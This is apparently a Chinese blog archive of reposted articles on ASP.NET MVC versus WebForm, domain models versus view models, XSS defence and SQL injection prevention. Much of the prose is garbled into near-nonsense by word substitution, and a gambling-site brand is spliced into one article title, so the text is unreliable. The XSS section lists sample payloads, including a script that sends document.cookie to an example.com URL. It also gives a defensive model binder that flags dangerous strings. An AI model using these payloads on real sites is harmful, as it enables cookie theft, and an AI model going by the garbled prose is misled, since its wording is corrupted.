标签归档ASP.NET MVC技术

ASP.NET MVC与ASP.NET WebForm

     ASP.NET
MVC是微软公司之平等慢性WEB开发框架,整合了“模型-视图-控制器”架构的速与干净,是很快开发极现代之合计以及技能。它是传统ASP.NET
WebForm的一个全面的替代品。

1、当今的Web开发

    
1)REST(Representational State
Transfer)已经化为应用程序在HTTP上互操作的要害系架构,完全使SOAP失色。REST是根据代表真实世界实体的资源(URI)和代表以这些资源达到可用的正统操作方法(HTTP方法)来叙述一个应用程序。经HTTP方法及资源地址的构成就可针对资源执行相应的操作,这种结合就是REST,执行这种操作的乞求也叫做REST化的恳求。(对于REST的晓个人还是不透,后面会对这概念进行补偿)

当前底Web应用程序不只是供HTML服务,通常为急需用XML或JSON数据提供被用户,而WebForm很为难支撑。

    
2)整个软件行业向着敏捷和测试驱动开发方向的进化,如单元测试工具(NUnit、xUnit)、模仿框架(Moq、Rhino、Mocks)、控制反转容器(Ninject、AutoFac)、持续集成服务器(CruiseControl、TeamCity)、对象关联映射器(NHibernate、Subsonic、EF、Dapper、Petapoco)、UI自动化工具的提供。(测试驱动开发TDD思想:首先描述想如果抱的作为范例,称为测试规范;然后开展软件设计,这样经过实践依附于这同实现的一律法测试,来证实应用程序的安定以及不易

    
3)顺应Web标准以及REST化的取向。

2、ASP.NET WebForm的史及题材

    
ASP.NET WebForm的技能堆栈,如下图所示:

    
图片 1

    
此图的义是WebForm建立于ASP.NET之上,而ASP.NET又建立以.NET平台之上,MVC框架所从的作用是代表WebForm。

    
WebForm的计划思想是,让Web开发在发上同Windows
Form开发同。开发者不再用为同样多重独立的HTTP请求和响应进行工作,可以当它们是相同种植状态化的UI,人们得以淡忘WEB及其无状态本质,转而用一种植“拖–放”式设计器来创造UI,并设想所有业务都有在服务器上。

    
乘机年华的推,WebForm在实质上项目面临冒出了有缺陷:

    
1)视图状态重负:维护状态的实际上机制,也尽管是ViewState(视图状态)导致在客户端与服务器之间传输大块数据(达到几百KB),而且来回于每次要中,导致响应时间十分缓慢,增加了服务器的拉动富需求;

    
2)页面生命周期:连接客户端与劳动器端事件处理器代码的体制很复杂,对于应用程序运行中生麻烦展开保障;

    
3)关注分离之荒谬看法:本身将代码从HTML提取出来,放到后台代码类吃进行处理是殊一致种怪好之法,但是一些开发者在后台代码中将展现代码和运工作逻辑混合在一起,导致最终代码乱并难以保障;

    
4)HTML的受限控制:服务器控件将团结渲染成HTML,但连无是所企望看到底HTML,在ASP.NET
4之前,并无可知十分好之采用CSS。同时会生成不可预知或复杂的ID,这样JavaScript就好为难展开走访。

    
5)有瑕疵的纸上谈兵:WebForm试图尽量隐去HTML和HTTP(这是通过WebForm的空洞层实现之)。当您兑现协调之艺术时,需要放弃这种肤浅,迫使采取回发事件机制的逆向工程。所以这种肤浅对于开发者而言就成一个特大的阻力与挑战;

    
6)低而测试性:WebForm的这种紧耦合体系布局并无入吃单元测试,对于集成测试为不行富有挑战性;

3、ASP.NET
MVC的特点

    
1)ASP.NET
MVC框架实现了MVC模式(MVC模式于1978年尽管曾领到出来了),由于ASP.NET
MVC极大的改进了关切分离,所以特地适用于Web应用程序。因为与MVC应用程序的竞相遵循着用户动作以及视图更给之当然周期,在这个周期被,假设视图是无状态的。这与支持Web应用程序的HTTP请求和应措施要命契合。

    
2)可扩展性,MVC框架被构建成同层层独立的零部件,如路由于系统、视图引擎、控制器工厂,你可以非常易地用一个协调的差实现来替换这些零部件,通常有三种植选择:

         
a、使用组件现行的默认实现,此种植好满足大多数应用程序;

         
b、派生默认实现之一个子类,以调整其一言一行;

         
c、用接口或者抽象基类的一个新的实现来完全替换该零件;

    
3)HTML和HTTP上之严密控制,ASP.NET
MVC会时有发生整洁和正规相当的记,其坐的HTML辅助器方法,可以发和正统相当的输出。ASP.NET
MVC生成的页面不分包其他ViewState数据,这种针对带宽的节约,可以极大的精益求精用户之体验,并且可本着浏览器和服务器之间传递的伸手加以控制。

    
4)可测试性,ASP.NET
MVC应用程序不仅可拓展单元测试,还可以跟UI自动化测试工具良好合作。

    
5)强大的路由系统,采用REST风格的路由方案,有如下好处:

    
     a、搜索引擎对URL中找到的重大词起肯定的权重,对同样的要词之探寻,极生或会见转化一个较为简单的URL地址;

         
b、许多Web用户现在本着URL有足的会心,并且愿意在浏览器的地点栏目中输入URL地址;

         
c、当知道URL地址之布局后,人们才见面还发出或链接它,并通往其他人共享;

         
d、此种URL结构并无见面以应用程序的技术细节、文件夹、文件名称等组织暴露于互联网。对于底层实现好随便修改,而休会见毁掉链接;

    
6)建立在ASP.NET平台之上,一方面ASP.NET
MVC是基于.NET平台的,因此得以活的动任何.NET语言来修代码,可以动用大的.NET类库和大量之老三方.NET类库系统;另一方面,已经形成的ASP.NET平台特色,如认证、成员、角色、配置文件、国际化等好削减开支以及维护Web应用程序所急需之代码量。

    
7)ASP.NET MVC是针对.NET
4.X如建立之,因此它们的API可以充分利用当前语言与运转时之翻新,如await关键字、扩展方法、lambda表达式、匿名、动态类型、LINQ。

    
8)ASP.NET MVC是开源的。

4、ASP.NET
MVC与ASP.NET WebForm的比较

    
首先要验证的是,虽然ASP.NET MVC相对于ASP.NET
WebForm来说出部分优势,但迅即并无意味前者要替代后者,也非代表后者要没有。

  • WebForm的历史观是,UI应该是状态化的,其结果是,在HTTP和HTML之上添加一个抽象层,用视图状态(ViewState)和回发(Postback)来创造状态化的效用。这是千篇一律种植“拖放”式Windows
    Form风格的付出。

  • MVC采纳了HTTP真正无状态的本来面目。MVC框架要求用户了解Web应用程序实际的办事法,在亮的前提下,进行保障与壮大,提供平等栽功能强大、简单的、整洁的、现代的艺术来编排Web应用程序,摆脱复杂的限制。

  • 故说,开发小型的,企业里型应用程序,可以设想下WebForm的点子来促成,但又多的时候,开发互联网应用程序或者大型的应用程序时,MVC无论从效率、兼容性、维护性都是同一栽更好之选料。

参考资料:《精通ASP.NET MVC X》

世界模型(DomainModel)与视图模型(ViewModel)

   
Model-View-Controller(模型-视图-控制器,MVC)模式将你的软件组织并解释成三只精光不同之角色:

  • Model
    封作了若的应用数据、应用流程和事情逻辑。
  • View
    从 Model 获取数据并格式化数据因进行展示。
  • Controller
    控制次流程,接收输入,并拿它传递给 Model 和 View。

   
与另设计模式不同,MVC
模式并从未一直反映一个若可知编写或部署的类组织。相反,MVC
更像一个概念上之指导标准还是范型。概念上之 MVC 模式给描述为老三单对象 ——
Model、View 和 Controller —— 之间的涉。由于 View 和 Controller
都好从 Model 请求数据,所以 Controller 和 View 都依靠
Model。任何输入还通过 Controller 进入你的系统,然后 Controller 选择一个
View 来闹结果。

    Model
包含了卿的应用逻辑和数据,在公的应用程序中,它好可能是主要的值驱动器。Model
没有其余和表现层相关的特色,而且也同 HTTP
请求处理职责被全无关。

    Domain
Model
是一个对象层,是对准现实世界逻辑、数据及汝应用程序所拍卖的问题之泛。

    Domain
Model 可分为两那个类:Simple Domain Model 和 Rich Domain Model。

  • Simple Domain Model
    往往是事情对象和数量库表之间一对一的通信。你既表现了的几乎栽模式 ——
    Active Record、Table Data Gateway,以及 Data
    Mapper,所有这些和数据库相关的设计模式 ——
    可以助您将同数据库相关的逻辑组织改为一个 Domain
    Model。
  • Rich Domain
    Model 包含复杂的,使用持续机制紧密联系在共的目标网络,在本书和 GoF
    一修被牵线的重重模式由在杠杆作用。Rich Domain Models
    往往是柔性的,精心测试了之,不断重构的,而且和它所表达的天地所要的事务逻辑严谨耦合。

   
采用哪种 Domain
Model 类型取决于你的应用环境。如果您方成立之是一个非常简单的表单处理
web 应用,没必要建立 Rich Domain
Model。然而,如果您在编写一个价数百万之信用社外联网架构的骨干库,那么拼命付出一个
Rich Domain Model
就是值得的,它好啊您提供一个可靠表达业务过程的平台,并可以为您快传输数据。

    Martin
Fowler 在 PoEAA 中同时省略介绍了区区种 Domain Model。而 Eric Evans 的
Domain Driven Design 一书写,则完全专注于 Rich Domain Model
的推行应用及开发过程。

    View
用于拍卖所有表现层方面的题目。View 从 Model
获取数据,并可管其格式化成用于 web 页的 HTML,用于 web 服务之
XML,或用于 email 的文件。

   
许多的MVC模式之落实为都以一个View Model或Application
Model的定义,Controller是维系的介绍人,架自世界模型和用户界面内的大桥,属于表现层。为View的简单性,Controller负责处理或将世界模型转换成为一个View
Model,这一般号称数据传对象(DTO)

    DomainModel != ViewModel

   
DomainModel代表正在相应的域,但ViewModel却是吗View的消而创立。这两者之间或许(一般情形下都)是差之,此外DomainModel是数量增长行为的组合体,是由于复杂的变量类型组成的同时具有层次。而ViewModel只是由于一些String等简单变量类型组成。如果想移除冗余并且爱造成差的ORM代码,可以行使AutoMapper.如果想使打听再多。

   
那领域模型(Domain Model
)和视图模型(View Model)有啊两样啊?

   
在ASP.NET MVC的应用程序中时常可以好望View
Model,经常我们还看世界模型与视图模型是暨一个物。这特别是将世界模型包含在数量传对象DTO里的时,例如利用Entity
Framework之类的ORM工具转的实体。在这种情景下,领域模型与视图模型包含的实业非常相似,都是一对略的CRUD操作。

   
这些实体有那么些性质,有一致或接近之称,你得生容易地映射领域实体对应视图模型中之一个性能。不过,这些相似的性质也说不定略有不同,例如类型或者格式。例如,用户填写的用户界面的一个特性,他于视图模型里或是一个“Nullable”的。

   
另一方面,领域实体可能得一个经证实的官方的价,所以需要一个以用户界面的小圈子模型中的更换。另一个例子是,用户界面可能会见显得一个滑块,用于用户挑选多少天过后提交他的订单。在这种场面下,视图模型或使一个整数性来表示,领域模型通常是一个日期值。

   
视图模型通常只是含领域模型的一个子集,而且只有含有界面及所急需之性质。此外,视图模型或是一个天地模型树的扁平本,例如,一个Customer实体有一个Address,而立同时是一个完全,它蕴含街道地址,邮政编码,国家等。一个Customer
视图模型用于展示数据,将地点数据拉平填充到视图模型类里。

   
此外如果一个View需要而处理几乎只世界模型,View
Model就是就几乎独Domain
Model的总数。领域模型与视图模型中产生众多形似的地方,我们常干脆就将Domain
Model当作View Model来以了。
   
上面讨论了世界模型和视图模型的相似性,我们来探视都发生几种植方式将世界模型转换为视图模型,通常有3栽办法:

  • 拿世界模型作视图模型来用,也即是天地模型就是视图模型,大部分还是如此用之。
  • 视图模型中包含一个领域模型,定义一个视图模型,里面含了一个世界模型,通过性能方式展开走访。
  • 以世界模型映射到视图模型,领域模型并无一直照射到视图模型,需要处理这种映射关系。

   
我们无建议直接将世界模型实体暴露于视图,因为来众多细微的处,可能导致你混合业务与象征层的逻辑,无论是领域实体的特性显示还是工作的辨证规则,这都是应用程序处理的不等地方。

   
直接拿您的世界模型作Conroller上之处理参数面临着安全风险,因为Controller或者Model
binder必须确保属性验证和用户不可知改改它自己无可知修改的属性(例如,用户手动更新了一个藏的输入值,或增一个格外的属性值,而这个并无是界面及之素,但可凑巧领域模型实体的特性,这种风险叫做“over-posting”),即使对现阶段本的世界模型做了无可非议的认证,领域模型前说不定做了反修改,并从未起编译错误或警告,可能致新的高风险。
   
咱们应避免使用前片栽办法以世界模型转换成视图模型,推荐下第三种方式,定义单独的视图模型类。开这种领域模型到视图模型的转移工作是均等种植重复性的工作,已经发生几只器得以助您来就这项工作。最常用之一个工具就是.NET
社区的开源项目AutoMapper。

 (村办理解:针对域模型与视图模型,有时候要看现实的事务场景,一般景象下足随上述将DomainModel和ViewModel进行数量映射,以避免有安全性问题;但是呢足以拿DomainModel当成ViewModel来行使与否是可以的,通过当系实现、业务逻辑操作和判及是得保工作安全性的。就是前者也只要开展判定坐保安全性。所以,还是看现实工作体系的运条件暨要求来控制运用哪种方法来促成。

 

章转载自:http://www.cnblogs.com/shanyou/archive/2010/04/03/1703501.html

Web安全息息相关(一):跨站下论攻击(XSS)

简介
  跨站脚论攻击(Cross
Site Scripting),为不与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超越站下论攻击缩写为XSS。恶意攻击者往Web页面里安插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会为实施,从而达到恶意攻击用户之奇异目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

局部景

  1.
黑心攻击者可于个人介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就会尽恶意代码。
  2.
恶心攻击者可载一首文章,取一个诱惑眼球的标题,在内容里插恶意代码,那么用户查看这篇稿子时,就见面实行恶意代码。
  3.
恶意攻击者在局部紧俏文章要帖子里之恢复或留言中插恶意代码,那么用户浏览到外的复原或留言时,就见面实行恶意代码。

严防XSS的少只号

  1.
交由数据时,就对准数据开展求证,如果带有恶意脚本,则未深受多少进库,ASP.NET
MVC默认是碰头举行这个证明。如下图,如果准备插入恶意脚本,就见面沾一个HttpRequestValidationException。注:图2红色框中之办法后续会干。

    
个人档案 1

                  图1

    
个人档案 2

                  图2

  如果我们要允许下论入库,可以当相应的Action上丰富[ValidateInput(false)]。此时恶意脚论还无克发威慑,因为还有后面一个号的预防措施。

     
个人档案 3

                  图3

     
个人档案 4

                   
图4

 2.
出口数据经常,对出口的情以HTML编码,恶意脚论不会见受实践。而且,MVC的Razor语法默认就使用HTML编码。但是倘若我们应用Html.Raw()来输出内容之言辞,恶意脚本就会出威慑。

     
个人档案 5

                 图5

    
个人档案 6

                 图6

 一些黑心脚本

  1.
简便的弹窗或者内容展示。
  <script>alert(‘你受不法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是以百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据证实失效?

  我们设我们的求是无允许含有恶意脚本的数量进库的,但是咱采取了jquey的ajax进行互。

     
个人档案 7

                图7

     
个人档案 8

                图8

     
个人档案 9

                图9

     
个人档案 10

              图10

  数据还是进库,为什么吗?我们来研讨下图2红框中之方。

     
个人档案 11

                图11

     
个人档案 12

                图12

  从图12受,我猜测MVC会对Request中之如上内容开展说明,可是jquery
ajax的数目是在Request的Content里面的,因此,默认的证实对jquery
ajax并不曾效果。

 $.ajax数据证实实现

  要针对$.ajax进行多少说明,我起ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

个人档案 13

              图13

  那么,输入数据产生黑心脚本时便会见让检测出。

 个人档案 14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

 个人档案 15

                  图15

AntiXSS第三在组件

  如果使用.Net4.0以及以上的本子,那么就非需引入AntiXSS,因为.Net
4.0早就把AntiXSS集成进来了。如果是别版本则用引入。

源码下载

  为了方便使用,我并未运用其它数据库,而是用了一个文本来储存数据。代码下载后可一直运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  个人档案 16

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

澳门新葡亰官网Web安全系(五):SQL注入(SQL Injection)

简介

  SQL注入攻击指的是经过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的有的做,通过实践SQL语句进而实施攻击者所假设的操作,其要因是次尚未仔细地过滤用户输入的数据,致使非法数据侵入系统。

  根据有关技能原理,SQL注入可以分成平台层注入及代码层注入。前者由不安全的数据库配置或者数据库平台的狐狸尾巴所赋;后者主要是由于程序员对输入未开展密切地过滤,从而执行了地下的数目查询。基于这个,SQL注入的发生原因通常表现在以下几点:

  1.
不当的色处理;

  2.
不安全的数据库配置;

  3.
非成立之查询集处理;

  4.
不当的错误处理;

  5.
转义字符处理不恰当;

  6.
大多单提交处理不当。

 

防止SQL注入

  1.
千古不要相信用户之输入。对用户的输入进行校验,可以通过正则表达式,或限长度;对单引号和双”-“进行换等。

  2.
千古不要用动态拼装sql,可以使参数化的sql或者直接利用存储过程进展数据澳门新葡亰官网查询存取。(不要拼sql,使用参数化)

  3.
世代不要使用管理员权限的数据库连接,为每个应用使用单独的权有限的数据库连接。(给程序分配合理之数据库操作权限)

  4.
不要拿机密信息直接存放,加密抑或hash掉密码和机智的信息。(敏感信息加密)

  5.
用之酷信息应该吃出尽可能少的提示,最好用自定义之错误信息对老错误信息进行包装。

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5514879.html

网站地图xml地图